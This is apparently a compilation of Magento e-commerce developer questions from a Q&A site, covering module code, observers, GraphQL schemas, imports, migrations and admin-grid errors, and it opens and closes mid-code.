        $quote->getShippingAddress()->addShippingRate($this->shippingRate);


texts: Product Grid Showing Please select products for attributes update while updating attributes from mass action

texts:
I am getting error "Please select products for attributes update", when I try to update attributes form mass action in product grid. see below image-

I have checked the check box for products for which I want to update attribute still why it is showing error?


texts: Does Magento 2 require a new Observer class for every event

texts: In Magento 1, you could use the same Observer class with multiple methods and invoke those. As per the new structure, do we need to create a new Observer for every event handler or observer? Or is there a way to combine multiple event handlers in the same observer?


texts: Call helper functions in override block Magento 2

texts:
I am trying to call helper function in override block

Whenever i am trying to add __construct in block is not loading.

Here is my code code of block

<?php
namespace Company\Module\Block\Adminhtml\Order\View;
class Items extends \Magento\Sales\Block\Adminhtml\Order\View\Items
{
    protected $_helper;
    public function __construct(
        \Company\Module\Helper\Data $helper
    ) {
        $this->_helper = $helper;
    }
    public function callhelper(){
        $this->_helper->somefuntion();
    }
}

Here is my code code of helper

<?php
namespace Company\Module\Helper;
class Data extends \Magento\Framework\App\Helper\AbstractHelper
{
    public function somefuntion()
    {
        echo 'Hello';
    }
}


texts: Import/Export server error - Request Timeout

texts:
I am trying to export 'all products' csv and when I run the profile I'm getting an error.

The error is:

  Request Timeout

  This request takes too long to process, it is timed out by the server. If it should not be timed out, please contact administrator of this web site to increase 'Connection Timeout'.

If someone could help me I would appreciate it.


texts: How to add product tab for specific product type in magento 2?

texts:
How to add product tab using xml in admin? I want to show that tab particular product type.

How can i add this product tab using my custom module in magento 2?


texts: Magento only load products that assign to both categories

texts:
I am going to modify default magento category filter.

I have two categories Fruits and Apple. In fruits there are 100 products and in Apple there are 50 products.

www.demo.com/fruits.html (category page) this is listing all 100 products.

But now when i click on Apple from left category filter, it should load only 50 products that are assign to both category.

www.demo.com/fruuits.html?cat=10 (10 is Apple category id)

I am not getting how and where to modify code to get the result as per my need.

Thanks,


texts: How to get the Product Entity targeted in a Scheduled Update?

texts:
I am using 2.3.x Magento Enterprise.

I am able to get the schedules updates. And for brevity I'm using the Object Manager in my example as a proof of concept:

$om = ObjectManager::getInstance();
/** @var \Magento\Framework\Api\SearchCriteriaInterface $searchCriteria */
$searchCriteria = $om->get(\Magento\Framework\Api\SearchCriteriaInterface::class);
/** @var \Magento\Staging\Model\UpdateRepository $updateRepo */
$updateRepo = $om->get(\Magento\Staging\Api\UpdateRepositoryInterface::class);
/** @var \Magento\Staging\Model\ResourceModel\Update\Collection $updateList */
$updatesList = $updateRepo->getList($searchCriteria);
/** @var array $updateArray */
$updatesArray = $updatesList->getItems();

foreach ($updatesArray as $update) {
    /** @var \Magento\Staging\Model\Update $update */
}

I will further filter my results, (out of scope of my question) but I want to know how to get the Product entity that is related to my update (if it exists).

If I go into the admin to Content > Content Staging Dashboard I can see my target update and there is a product associated to that Update. It says

  This update includes 1 Objects

And underneath it, there is a link to the update where the data for my Product resides.

How can I get that Product through the Magento\Staging\Model\Update or something similar?


texts: Magento2 Controller Override Not Working

texts:
I am trying to override product view controller and display a message on top by following this tutorial

The message is not shown in product page and there is no error as well. Below are the code. Please advise.

module.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Module/etc/module.xsd">
    <module name="Company_Custom" setup_version="1.0.0" >
    <sequence>
            <module name="Magento_Catalog"/>
        </sequence>
       </module>
</config>

di.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
<type name="Magento\Catalog\Controller\Product\View">
    <plugin name="company-custom" type="Company\Custom\Controller\Catalog\Product\View" sortOrder="10"/>
</type>
</config>

View.php

namespace Company\Custom\Controller\Catalog\Product;

class View extends \Magento\Catalog\Controller\Product\View
{
    public function execute()
    {
        echo "Local controller";
        $this->messageManager->addSuccess('Message from new controller.');
        return parent::execute();
    }
}


texts: How to add extra item attribute shopping cart Magento

texts:
I have configurable products in the shopping cart but i want to add one column with stock item the products by sizes

i have an observer

 <controller_action_predispatch_checkout_cart_index>
     <observers>
        <shopping_cart>
           <type>singleton</type>
           <class>Myspace_Mymodule_Model_Observer</class>
           <method>addExtraItemShoppingCart</method>
         </shopping_cart>
     </observers>
 </controller_action_predispatch_checkout_cart_index>

public function addExtraItemShoppingCart(Varien_Event_Observer $observer){
    $quote = Mage::getModel('checkout/session')->getQuote();
    $cartItems = $quote->getAllItems();

    foreach ($cartItems as $item){
        $productType = $item->getProduct()->getTypeId();
        if($productType!='configurable'){
            //Mage::log($item->getSku(), null, 'shoppingCartB2B.log',true);

            $product = Mage::getModel('catalog/product')->load($item->getProductId());
            $qtyStock = Mage::getModel('cataloginventory/stock_item')->loadByProduct($product)->getQty();
            $size = $product->getResource()->getAttribute('talla')->getFrontend()->getValue($product);

            $item->setData('talla', $item->getId())->save();
        }
    }
    Mage::getSingleton('checkout/session')->setCartWasUpdated(true);
}

and in the file
app/design/frontend/THEME/default/template/checkout/cart/item/default.phtml

$_item->getData('talla');

print talla, but does not work.

if someone can help me, thank you.


texts: Is this possible?   I want to make an API call to get orders, add shipment to order, and update product details via an API.   Right now it appears that I would need to use the api to login via Oauth every time.  I would like to automate syncing this kind of data up without the need to login with a user account.


texts: Import Products to Magento using Google Spreadsheet

texts:
I am working on a solution to automate the creation of CSV files for importing products to Magento using Google Spreadsheet service.

The motivation for doing that is to give a merchant a simple tool to create and update its store catalog without the needing to know anything about product attributes, store ids, website ids, separate stings inside the same cell (like category list, simple product) etc.

The staring point of this is a set of spreadsheets that will act as lookup tables and will provide data for validate content inside the products spreadsheet:
- Attributes - with a column for each product attribute that is required for creating a new product like status, is_in_stock, visibility, store, website, product_type
- ConfigAttributes - with a column for each configurable attribute (color, size) and it's values
- AttributeSets - with following columns: attribute_set, based_on, attributes
- Categories - with following columns: category_name, category_id

Next we will take the advantage of Google Apps Script to do the hard work for us:
Create a product import template spreadsheet for each product type (simple, configurable etc.). The column names for each template will be store inside a JSON object:

var Mage = {
  SpreadsheetTemplate : {
    SimpleProducts : {
      Columns : ['sku', 'name', 'attribute_set']
  },
    ConfigurableProducts : {
      Columns : ['sku', 'name', 'attribute_set', 'config_attributes']
    }
  }
}

The script will prompt a dailog box asking for which attribute set should it create the template. This information will be used in order to create additional columns and data vlidation dropdowns for the spreadsheet.

There is more but I think you can get the general idea.

What do you think about this direction?

If you think it's a good idea I will be happy if you can join me creating this tool.


texts: Conditional RequireJs configuration (Load requirejs-config.js programmatically?)

texts: I would like to replace a RequireJs component only on certain conditions (for example, based on configuration). Is there any way to programmatically prevent loading of my module's requirejs-config.js or a different way to achieve it?


texts: How to use the collectRates method in a shipping module to collect table rates

texts:
I am creating a shipping module that will use table rates for determining the amount to be charged for shipping. My question is, do I use the collectRates method in the shipping module to display the table rates, or what do I do in this scenario?

Any insight, ideas, and/or suggestions are greatly appreciated.

Thank you!


texts: Magento 2 how to hide attribute at Layered navigation?

texts:
I would like to hide some attributes at left layered navigation  based on the category & category's filters ?

Can any one suggest how to achieve this in Magento 2?

For Example: Travel is an attribute that should hide based on the category filter...


texts:
I want to translate msrp config.xml file. Here is the image.

I found that this text is in /vendor/magento/module-msrp/etc/config.xml but it is not translatable. How can I override this config.xml to translate this text?

Thanks.


texts: Magento 2: Run `setup:di:compile` **only** a Specific Module?

texts:
Is it possible to pre-generate code for one specific module?  I.E. -- I can generate all the code in the system with

php bin/magento setup:di:compile

However, this can take a long time.  I'd like to pre-generate only the files for a specific module.

php bin/magento setup:di:compile Pulsestorm_Commercebug

The specific problem I'm trying to solve is working around this issue with some plugins not being recognized in developer/default mode.


texts: 3 different price rules for shipping depinding of attributes in Magento CE 1.9

texts:
we need to set 3 different prices for shipping depending on attributes. We have refrigerated food with a price rate for shipping and then dry food and food gift basket with different shipping prices. Is there a way to set 3 different prices of shipping per attribute or per product in Magento CE 1.9 - 1.9.1?

Thank you in advance for your collaboration!


texts: Where is product price list column in databse?

texts:
I am using magento 2.2.0 version .

I want to extract all products from database in mysql having price equals to one. I have entered 10 thousands of products from dashboard.

I want to know the name of sql table where they are inserting, so that I can fetch the records in phpmyadmin. Please any one know that? I am so thankful if u reply. If I find the solution I will paste answer below.

  Also i want to know the sql table name where my product Bar-code ID's
  are safe .


texts: could anyone suggest step by step tutorial how to create a slider at homepage in magento

texts: I want to create slider of recently edited products as i am a newbie in magento could anyone suggest step by step tutorial for the slider ??


texts:
I'm curious about one thing, and I'm currently not able to check it...

Is the SKU an unique id in the whole Magento application, or does the Magento recognizes SKU as unique ID per website?


texts: Save Customer's custom attributes when order is placed using "sales_order_place_after" event in magento 2?

texts:
I want to save some customer's custom attributes after Order is placed By checking order item.
So i am using 'sales_order_place_after' event, But in Observer Class I could Not Save it See My Code :

  namespace MagentoPro\Customer\Observer;

  use Magento\Customer\Api\CustomerRepositoryInterface;
  use Magento\Catalog\Model\Product;
  use Magento\Framework\Event\Observer;

  class SaveCompanySubscription implements \Magento\Framework\Event\ObserverInterface
  {
      public function __construct(
          CustomerRepositoryInterface $customer,
          Product $product
      ) {
           $this->product = $product;
           $this->_customerRepositoryInterface = $customer;
      }

      public function execute(Observer $observer)
      {
           $order = $observer->getEvent()->getOrder();
           $orderId = $order->getIncrementId();
           $customerId = $order->getCustomerId();
           $itemCollection = $order->getAllItems();

           foreach($itemCollection as $item){

               $productId = $item->getProductId();
               $prod = $this->product->load($productId);

               $is_subscribed = 1;
               $subscirption_ends_on = date('Y-m-d', strtotime("+".$prod->getData('package_validity')." days"));
               $subscription_type = $prod->getData('package_type');

               $customer = $this->_customerRepositoryInterface->getById($customerId);
               $customer->setCustomAttribute('is_subscribed_company', $is_subscribed);
               $customer->setCustomAttribute('subscription_ends_on', $subscription_ends_on);
               $customer->setCustomAttribute('subscription_type', $subscription_type);

               $this->_customerRepositoryInterface->save($customer);

           }

           return $this;

      }
  }


texts: Add Video button is not clickable on Magento 2.2.4

texts:
I am trying to add video into my store via admin product edit page.
I have already added a youtube api key but when i click on Add Video button than nothing happens.

When i check the error log than its showing

main.CRITICAL: The element 'gallery' already has a child with alias 'content' {"exception":"[object] (Magento\\Framework\\Exception\\LocalizedException(code: 0): The element 'gallery' already has a child with alias 'content' at /var/www/vhosts/demo/vendor/magento/framework/Data/Structure.php:611)"} []

Thanks for your answer in advance.


texts: Can I specify the order details included in PayPal Express Checkout payment confirmation?

texts:
I am using PayPal Express Checkout on my Magento 2 site. The payment confirmation emails contain a description (configurable product name only), quantity, and amount. At a minimum, I would like these emails to also contain the other attributes such as size, etc, or possibly the sku since those attributes are contained in my skus. Is there a way to get these attributes into the PayPal payment confirmation email? This would be more convenient for us than using the pdf invoice for order picking.

I found a hint on how to do this in an old answer to another question that probably applies to Magento 1. Not sure how applicable it is to the current code.


texts: How do I know which block is caching or not?

texts: I want to find out which part of my magento website is not caching but I have no idea to do that. Anyone knows how to find out which block/part of the website is not caching? Can I find it out through analyzing /var/cache folder ?


texts: Magento 2 - Get only categories Names and Id in REST API Programmatically

texts:
I am trying to get only the category name and category id with the parent and child segregation programmatically using REST API. Can anyone please suggest some solution or provide some sample code which would help me achieve the task.

Thanks in advance


texts:
I get this from the error log all the time.

Cron Failure catalog_product alert:

---EXCEPTION---

  exception 'Mage_Core_Exception' with message 'Invalid callback: Model
  for productalert/observer::process does not exist' in Mage.php:598

  This is line 598: throw new Mage_Core_Exception($message); and this is
  the entire section of

/**
     * Throw Exception
     *
     * @param string $message
     * @param string $messageStorage
     * @throws Mage_Core_Exception
     */
    public static function throwException($message, $messageStorage = null)
    {
        if ($messageStorage && ($storage = self::getSingleton($messageStorage))) {
            $storage->addError($message);
        }
        throw new Mage_Core_Exception($message);
    }


texts: Magento 2.2.2 Custom theme Xml update external script with query string & or &

texts:
Adding external link in custom theme in any xml e.g: contact_index_index.xml doe not parse properly if it has & or &

<script src="https://maps.googleapis.com/maps/api/js?key=YOUR_API_KEY&amp;callback=initMap" src_type="url" />

Notice the &amp;  gives:

{"0":"Warning: simplexml_load_string(): Entity: line 6371: parser error : EntityRef: expecting ';' in \/var\/www\/vhosts\/magento2 \/htdocs\/vendor\/magento\/framework\/View\/Model\/Layout\/Merge.php

Does anyone experiencing this too and how to fix it?

Thanks.


texts: add a section/tab on the right section of all categories in front end magento2

texts:
Hi there I want to add my custom section/tab on the right section of all the categories for getting a clear idea I am attaching this image

This is the men section I want to add the same custom tab on all of the sections!!


texts: Queue order details in rabbitmq when order is placed in Magento2EE

texts:
In Magento2 EE,I need to queue to order details instantly when the order is placed. Rabbitmq is our message broker. I have installed rabbitmq and configured to the Magento2EE by following this link https://inviqa.com/blog/magento-2-tutorial-message-queues. . Everything is working fine. I can push the order  array to the queue by giving static order ID.

 <?php

namespace Inviqa\MessageQueueExample\Console;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Magento\Framework\MessageQueue\PublisherInterface;
use Inviqa\MessageQueueExample\Api\MessageInterface;
use Magento\Sales\Model\Order;

class MessagePublishCommand extends Command
{
    const COMMAND_QUEUE_MESSAGE_PUBLISH = 'queue:message:publish';
    const MESSAGE_ARGUMENT = 'message';
    const TOPIC_ARGUMENT = 'topic';

    /**
     * @var PublisherInterface
     */
    protected $publisher;
    protected $order;

    /**
     * @var string
     */
    protected $message;

    /**
     * {@inheritdoc}
     */
    public function __construct(
        PublisherInterface $publisher,
        MessageInterface $message,
        Order $order,
        $name = null
    ) {
        $this->publisher = $publisher;
        $this->message = $message;
        $this->order = $order;
        parent::__construct($name);
    }

    /**
     * {@inheritdoc}
     */
    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $message = $input->getArgument(self::MESSAGE_ARGUMENT);
        $topic = $input->getArgument(self::TOPIC_ARGUMENT);

        try {

            $_orderId = 000000004;
            $_order = $this->order->load($_orderId);
            $_items = $_order->getAllVisibleItems();
            foreach ($_items as $_item) {
                $_orderItems[] = [
                    'sku' => $_item->getSku(),
                    'item_id' => $_item->getId(),
                    'price' => $_item->getPrice(),
                ];

            }
            $message = $_orderItems;

            $this->message->setMessage($message);
            $this->publisher->publish($topic, $this->message);
            /*print_r($message);
            die;*/
           // $output->writeln(sprintf('Published message "%s" to topic "%s"', $message, $topic));
            $output->writeln(sprintf('Published order'));

        } catch (\Exception $e) {
            $output->writeln($e->getMessage());
        }
    }

    /**
     * {@inheritdoc}
     */
    protected function configure()
    {
        $this->setName(self::COMMAND_QUEUE_MESSAGE_PUBLISH);
        $this->setDescription('Publish a message to a topic');
        $this->setDefinition([
            new InputArgument(
                self::MESSAGE_ARGUMENT,
                InputArgument::REQUIRED,
                'Message'
            ),
            new InputArgument(
                self::TOPIC_ARGUMENT,
                InputArgument::REQUIRED,
                'Topic'
            ),
        ]);
        parent::configure();
    }
}

Once the order is placed, for pushing order object i have planned to use sales_order_place_after event. But i'm not sure how to pull the result from observer, to this execute action.


texts:
I have an issue in Magento where few of my tables and reports are showing the product names/Category in French language.We do have a store at France and in other countries, but the requirement is to show the global values of category/Product names in the reports.

So can anyone help to find in which table in Magento is storing the global category/ names of products.

Thanks


texts:
I just installed Magento 2, now I am trying to change the front end but when I try to look for the files in app/design/frontend/ (as all tutorials say) the directory is empty.
Can anyone help or guide me please?


texts: Update Unsecure, Secure, and Cookie URLs in phpMyAdmin from Production to Staging

texts:
I'm looking for a way to quickly update all unsecure, secure, and cookie domain URLs through phpMyAdmin.

My situation is to change unsecure & secure URLs (I use always-on HTTPS)

  from

  https://www.website.com

  to

  https://staging.website.com

and change Cookie domains

  from

  www.website.com

  to

  staging.website.com

Is there a quick way I can reference the core_config_data table for a search and replace of www with staging in rows web/unsecure/base_url, web/secure/base_url, and web/cookie/cookie_domain ?

This would help to fool-proof any updates when staging is rebuilt from production and make it quicker than finding each row and updating manually.

I am aware of changes to be made in local.xml and flushing of cache - that's a simple task I can complete after running this Search & Replace command.


texts: Should I be worried about sudden customer sign ups from China?

texts:
I've recently started getting dozens of customer registrations with China spam terms (invocing, payment) and numbers in the customer name. Our site is in English only and does not ship outside the US. None of these customers put anything in their cart.

I already have honeypot implemented from a module, but it's a popular module, so I'm going to customize it.

What are these bots trying to accomplish and should I be worried?


texts: Magento 2 customer is always redirected back to /checkout/cart/

texts:
We have some customers gettign in touch stating that whenever they go to www.domain.com/checkout they are just redirected back to www.domain.com/checkout/cart page.
Has anyone else had this issue before?
I have checked the system logs and see the following errors:
main.WARNING: Broken reference: The element with the "customer_account_navigation" ID wasn't found. Verify the ID and try again. [] []
main.CRITICAL: The following tag(s) are not allowed: img [] []

Thank you in advance


texts:
Please how do i upgrade my website from Magento 1.5.1.0 to Magento 2.3x

Detailed steps of how to go about it will be appreciated


texts: I get an error in backend , when I try to see the orders, or the products in cataolg I get "Whoops, our bad..."

texts:
I'm using magento 2.0.7, I've tryed to update to 2.1 but I got some errors, so I restored a complete backup back to 2.0.7. The frontend works fine, but when I go in backend, some pages doesn't work.. basicly if I go to catalog products, or orders for exmaple, I get a page like the website's one, but with "Whoops, our bad...The page you requested was not found, and we have a fine guess why.
" error. I have tryed to deploy, upgrade, clean the cache.. but nothing.. I still get the same error.


texts:
I want to remove checkout from the shop. I need customers to simply place the order and that would finish it. No payment at all (we send the invoice to our customers manually - we just need users place orders)

Does anyone know how to do that?


texts: Approved review not showing on product view page on frontend in Magento 2

texts:
Blank div showing with no content

But the review form working fine.
What is the issue? Any solution for this?


texts:
$payment is of Mage_Sales_Model_Order_Payment which extends Mage_Payment_Model_Info which in turn extends Mage_Core_Model_Abstract.

On EE 1.12, there is no column cc_number (cc_number_enc exists) in sales_flat_order_payment and I don't see any function defined getCcNumner(), either. There's an extension that calls payment->getCcNumber(), and it's returning null. I do see other core codes that call this function as well..

Am I missing something here, or is this getCcNumber() not valid?


texts:
now that the Magento mode is development, I get this error:

Element 'steps': This element is not expected. Expected is one of ( default, stores, websites ).

The vendor/magento/data-migration-tool/etc/config.xml does in fact have the first element 'steps':

<?xml version="1.0" encoding="UTF-8"?>
<!--
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
-->
<config xmlns:xs="http://www.w3.org/2001/XMLSchema-instance"
        xs:noNamespaceSchemaLocation="urn:magento:module:Magento_DataMigrationTool:etc/config.xsd">
    <steps mode="settings">
        <step title="Settings Step">

so my question is other than removing the data migration tool, why is this config tool's config.xml doing what Magento is not expecting?

*edit
To add a bit more information, on a different server when I go to run the data migration:
php bin/magento migrate:data --reset vendor/magento/data-migration-tool/etc/config.xml

Here I do get the config.xml error.

[2019-12-10 04:21:39][INFO][mode: settings][stage: volume check][step: Stores Step]: Migration completed[xx@xx public_html]$ php bin/magento migrate:data --reset vendor/magento/data-migration-tool/etc/config.xml
Reset the current position of migration to start from the beginning

In Dom.php line 339:

  More than one node matching the query: /config/steps/step, Xml is: <?xml version="1.0"?>
  <!--
  /**
   * Copyright © Magento, Inc. All rights reserved.
   * See COPYING.txt for license details.
   */
  -->
  <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Store:etc/config.xsd" xs:noNamespaceSchemaLocation="urn:magento:module:M
  agento_DataMigrationTool:etc/config.xsd">
      <default>
        .....

I am not sure what is different to where I was able to migrate on one server but not able to on this server, will keep digging unless someone has some insight ?

**further edit

I am going through another fresh install following the same steps but have disabled the webserver so that no magento page gets hit and the migration seems to be working. On the other server I was able to get the migration to work before, I had an error with the .htaccess file which prevented magento doing anything after install from any web hits. I think this explains the difference, but not the underlying problem with the migration config.xml file.

I really must be doing something to cause this as I see no-one else having this problem. My migration map xml files are the ones that come with the migration tool, for the versions I am working with and they pass with only warnings of data type mismatches for some fields, and the migration does work. I will want to migrate delta's and not have to keep doing this, so would very much like to get to the bottom of this.


texts: How to get all the totals in checkout page in Magento 2.1.8 EE

texts:
I want to check my custom fee applied or not. So I just want to know all the totals from the quote on the checkout pages.

Thanks in Advance.


texts: Can i customize the backend to the following features?

texts:
I am a newbie. I am planning on opening a greeting card shop in which the users can customize it. So they will get fields depending on the type of card they choose. Some of them, they just need to fill in text, and for the others, they need to upload image as well. For some products there will be follow-up products as well.

I want the backend to be able to allow me to enter as many fields as I want, and and the field type. Are these possible with Magento? Is Magento the good solution for this?


texts: How to set minify html in Production Mode

texts:
I'm very much aware of the following commands that can change JS/CSS settings whilst in Production Mode:

bin/magento config:set dev/js/merge_files 0
bin/magento config:set dev/js/enable_js_bundling 0
bin/magento config:set dev/js/minify_files 0
bin/magento config:set dev/css/merge_css_files 0
bin/magento config:set dev/css/minify_files 0

1 = On, 2 = Off

But how do I set Minify HTML?


texts: Using inline SVG in the wysiwyg/backend cms elements

texts:
How can i get the wysiwyg/backend cms editor to accept inline svg code,
i want to make the svgs stylable which means they need to be injected.

Yes i can inject them via javascript, but this causes more server requests and other issues.
So i would like to give the admin the ability to add svg code via the cms backend, but by default i assume that the wysiwyg purges any unknown tags and any inline svg gets removed on save.


texts: How to import upsell products from products programmatically in magento1?

texts:
<?php
if(isset($_POST["submit"]))
{
    $file = $_FILES['file']['tmp_name'];
    $handle = fopen($file, "r");
    //$c = 0;
    require_once '/app/Mage.php';
    Mage::app();
    Mage::app()->getStore()->setId(Mage_Core_Model_App::ADMIN_STORE_ID);
    while(($filesop = fgetcsv($handle, 1000, ",")) !== false)
    {
        $name = $filesop[0];
        //echo "sssssssssssssss:".$name;
        //$productId = Mage::getModel('catalog/product')->getIdBySku('sku');
        $catalog = Mage::getModel('catalog/product');
        $product = $catalog->loadByAttribute('sku', $name);
        //$productId1 = $name;
        try {
            //$upSellProducts = $product->getUpSellProducts();
            if($product){
            //foreach ($upSellProducts as $upSellProduct) {
              //  $upSellProductsArranged[$upSellProduct->getId()] = array('position' => $$upSellProduct->getPosition());
            //}
            $upsellLinks = array();

            $upsellLinks[$product] = array('position'=>'') ;
            //$upsellLinks[$productId2] = array('position'=>'') ;
            $product->setUpSellLinkData($upsellLinks);
            $product->save();
            //$product->setUpSellLinkData($upSellProductsArranged);
            //$product->save();

    }
else
 {
     echo $name." doesn't exist
";
 }

} catch (Exception $e) {
      echo "Product with ID: " . $product->getId() . "cannot be created
";
     }

}
echo "upsell products created completed";
}
?>

<title>import</title>

<form name="import" method="post" enctype="multipart/form-data">
<input type="file" name="file" />

<input type="submit" name="submit" value="Submit" />
</form>

import


texts: Magento 2 custom customer attribute data not saved

texts:
We are working on Magento 2.2 create custom attribute seller_id for customer,this attribute is created successfully.

But we can not display this attribute when loading the customer data.

<?php
namespace Kh\Hello\Setup;

use Magento\Customer\Model\Customer;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\ModuleDataSetupInterface;
use Magento\Customer\Setup\CustomerSetupFactory;
use Magento\Framework\Setup\InstallDataInterface;

class InstallData implements InstallDataInterface
{

    private $customerSetupFactory;

    /**
     * Constructor
     *
     * @param \Magento\Customer\Setup\CustomerSetupFactory $customerSetupFactory
     */
    public function __construct(
        CustomerSetupFactory $customerSetupFactory
    ) {
        $this->customerSetupFactory = $customerSetupFactory;
    }

    /**
     * {@inheritdoc}
     */
    public function install(
        ModuleDataSetupInterface $setup,
        ModuleContextInterface $context
    ) {
        $customerSetup = $this->customerSetupFactory->create(['setup' => $setup]);

        $customerSetup->addAttribute(\Magento\Customer\Model\Customer::ENTITY, 'seller_id', [
            'type' => 'varchar',
            'label' => 'Seller Id',
            'input' => 'text',
            'source' => '',
            'required' => false,
            'visible' => true,
            'position' => 333,
            'system' => false,
            'backend' => ''
        ]);

        $attribute = $customerSetup->getEavConfig()->getAttribute('customer', 'seller_id')
        ->addData(['used_in_forms' => [
                'adminhtml_customer'
            ]
        ]);
        $attribute->save();

    }
}

when load customer collection this attribute is not display.

$collection = $this->_customerFactory->create()->getCollection()
                   ->addAttributeToSelect("*")
                   ->addAttributeToFilter("email", array("eq" => "gg@gmail.com"));

Also loading customer and accessing this attribute data not display.


texts: Magento 2.3: How to Echo From Controller On Button Click?

texts:
I'm very new to Magento, I have a custom module and some tabs and fields in it, i have an 'import' tab, in that their is 'Import' button, just want to know the workflow of that button, like on button click just echo something from controller. Right now i'm getting no response on button click...

app\code{Vendor_Name}{Module_Name}\view\adminhtml\templates\form\Import.phtml

    <button id="<?php echo $block->getId() ?>" onclick="return false;">
        <?php echo 'Import'; ?>
    </button>

app\code\{Vendor_Name}{Module_Name}\Block\Adminhtml\Form\Edit\Tab\Import.php

<?php
namespace EC\Customimport\Block\Adminhtml\Form\Edit\Tab;

class Import extends \Magento\Backend\Block\Widget\Form\Generic implements \Magento\Backend\Block\Widget\Tab\TabInterface
{
    protected $_template = 'form/import.phtml';

    public function isReadonly()
    {
        return false;
    }

    public function getTabLabel()
    {
        return __('Import');
    }

    public function getTabTitle()
    {
        return __('Import');
    }

    public function canShowTab()
    {
        return true;
    }

    public function isHidden()
    {
        return false;
    }
}

app\code{Vendor_Name}{Module_Name}\Controller\Adminhtml\Index\Import.php

<?php

namespace EC\Customimport\Controller\Adminhtml\Index;

use EC\Customimport\Model\CustomimportFactory;
use Magento\Framework\Controller\ResultFactory;
use Magento\Backend\App\Action\Context;

class Import extends \Magento\Backend\App\Action
{
    /**
     * @param Context $context
     */
    public function __construct(
        Context $context,
        CustomimportFactory $modelCustomimportFactory
    ) {
        $this->modelCustomimportFactory = $modelCustomimportFactory;
        $this->resultFactory = $context->getResultFactory();
        parent::__construct($context);
    }

    public function execute(){
        ignore_user_abort(true);
        set_time_limit(0);
        $id     = $this->getRequest()->getParam('id');
        $model  = $this->modelCustomimportFactory->create()->load($id);
        $model->import();
        $resultRedirect = $this->resultFactory->create(ResultFactory::TYPE_REDIRECT);
        $resultRedirect->setPath('adminhtml/*/index');
        return $resultRedirect;
    }
}


texts:
I have a custom module with schema.graphqls
module.xml
<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Module/etc/module.xsd">
    <module name="NeoSolax_CompareList" setup_version="0.0.3" >
        <sequence>
            <module name="Magento_GraphQl"/>
        </sequence>
    </module>
</config>

registration.php
<?php
\Magento\Framework\Component\ComponentRegistrar::register(
    \Magento\Framework\Component\ComponentRegistrar::MODULE,
    'NeoSolax_CompareList',
    __DIR__
);

schema.graphqls
type Mutation {
    addProductToCompareList(input:compareListInput): CompareListOutput @resolver(class: "NeoSolax\\CompareList\\Model\\Resolver\\addToCompareList")@doc(description:"Add products to compare")
}

input compareListInput{
    productId:String
    customerId: String
}

type CompareListOutput{
    count:Int
    listUrl:String
    items:[CompareItem]
}
type CompareItem{
    id:String
    product_url:String
    name:String
    remove_url:String
    productScope:String
}

When I try to connect my backend with Altair extension I get the following error
"1 exception(s):\nException #0 (GraphQL\\Error\\Error): Type \"CompareListOutput\" not found in document.\n\nException #0 (GraphQL\\Error\\Error): Type \"CompareListOutput\" not found in document.\n<pre>#1 GraphQL\\Utils\\ASTDefinitionBuilder->internalBuildType() called at [vendor/webonyx/graphql-php/src/Utils/ASTDefinitionBuilder.php:189]\n#2 GraphQL\\Utils\\ASTDefinitionBuilder->buildType() called at [vendor/webonyx/graphql-php/src/Utils/ASTDefinitionBuilder.php:171]\n#3 GraphQL\\Utils\\ASTDefinitionBuilder->internalBuildWrappedType() called at [vendor/webonyx/graphql-php/src/Utils/ASTDefinitionBuilder.php:309]\n#4 GraphQL\\Utils\\ASTDefinitionBuilder->buildField() called at [vendor/webonyx/graphql-php/src/Utils/ASTDefinitionBuilder.php:297]\n#5 GraphQL\\Utils\\ASTDefinitionBuilder->GraphQL\\Utils\\{closure}() called at [vendor/webonyx/graphql-php/src/Utils/Utils.php:284]\n#6 GraphQL\\Utils\\Utils::keyValMap() called at [vendor/webonyx/graphql-php/src/Utils/ASTDefinitionBuilder.php:298]\n#7 GraphQL\\Utils\\ASTDefinitionBuilder->makeFieldDefMap() called at [vendor/webonyx/graphql-php/src/Utils/ASTDefinitionBuilder.php:279]\n#8 GraphQL\\Utils\\ASTDefinitionBuilder->GraphQL\\Utils\\{closure}() called at

addToCompareList.php
public function resolve(
    Field $field,
    $context,
    ResolveInfo $info,
    array $value = null,
    array $args = null
) {
    /** @var ContextInterface $context */
    $productId = $args['productId'];

    if ($productId && ($this->_customerVisitor->getId() || $this->_customerSession->isLoggedIn())) {
        $storeId = $this->_storeManager->getStore()->getId();
        try {
            /** @var Product $product */
            $product = $this->productRepository->getById($productId, false, $storeId);
        } catch (NoSuchEntityException $e) {
            $product = null;
        }

        if ($product && $this->compareAvailability->isAvailableForCompare($product)) {
            $this->_catalogProductCompareList->addProduct($product);
        }

    }
    $compareList = $this->compareProducts->getSectionData();
    return [
        'items' => $compareList['items'],
        'count'=>$compareList['count'],
        'listUrl'=>$compareList['listUrl']
    ];
}

What have I done wrong please help


texts: Catalog product flat reindex issue: errno: 121 Duplicate key on write or update (Magento 1.9.3.8)

texts:
When I try to reindex catalog_product_flat from command line I get following error.

Reindex finished with error message "SQLSTATE[HY000]: General error: 1005 Can't create tablemagento_db.#sql-4f16_e84(errno: 121 "Duplicate key on write or update")". catalog_product_flat

I tried to truncate all catalog_product_flat tables and rerun it, same result. How can I fix this?


texts: How to add Email address in sales orders admin grid?

texts:
Trying to add email address into the grid in sales but once added can't search by  order number. Throwing error:

  SQLSTATE[23000]: Integrity constraint violation: 1052 Column 'increment_id' in where clause is ambiguous, query was: SELECT COUNT(*) FROM sales_flat_order_grid AS main_table
   INNER JOIN customer_entity ON main_table.customer_id = customer_entity.entity_id WHERE (increment_id LIKE '%0013%')

my code:

protected function _prepareCollection()
{
    $customer_entity = Mage::getSingleton('core/resource')->getTableName('customer_entity');
